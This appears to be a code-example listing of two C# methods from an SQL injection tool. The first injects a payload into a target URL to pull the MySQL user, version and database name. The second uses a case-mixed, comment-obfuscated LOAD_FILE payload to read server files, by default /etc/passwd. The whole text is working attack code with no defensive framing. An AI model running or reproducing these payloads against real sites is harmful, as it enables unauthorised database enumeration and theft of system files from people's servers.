Exemplo n.º 1
0
        public bool setInfos()
        {
            HttpRequete hr    = new HttpRequete();
            Outils      oo    = new Outils();
            string      url_g = _url_point.Replace(var_n, "concat(" + ch.getHex(separateur) + ",concat(user()," + ch.getHex(s_separateur) + ",version()," + ch.getHex(s_separateur) + ",database())," + ch.getHex(separateur) + ")");
            string      page  = hr.get(url_g);

            if (page.Contains(separateur))
            {
                string[] rslt = ch.extSubResult(s_separateur, ch.extResult(separateur, page));
                string   ip   = oo.avoirip(_url_point.Split('/')[2]);
                setBD(rslt[2]);
                form_principale.groupBox4.Invoke((MethodInvoker)(() =>
                {
                    form_principale.txt_user.Text = rslt[0];
                    form_principale.txt_version.Text = rslt[1];
                    form_principale.txt_ipserveur.Text = ip;
                }));
                return(true);
            }
            else
            {
                return(false);
            }
        }
Exemplo n.º 2
0
        internal bool checkLoadFile(string url_point, string fichier = "/etc/passwd")
        {
            HttpRequete hr    = new HttpRequete();
            Outils      oo    = new Outils();
            string      url_g = url_point.Replace(var_n, "cOnVeRt(/**/cOnCaT(" + ch.getHex(separateur) + "/**/hEx(/**/lOaD_FiLe(" + ch.getHex(fichier) + "))," + ch.getHex(separateur) + ") using utf8)");
            string      page  = hr.get(url_g);

            if (page.Contains(separateur))
            {
                string result = ch.extResult(separateur, page);
                if (result != "")
                {
                    return(true);
                }
                else
                {
                    return(false);
                }
            }
            return(false);
        }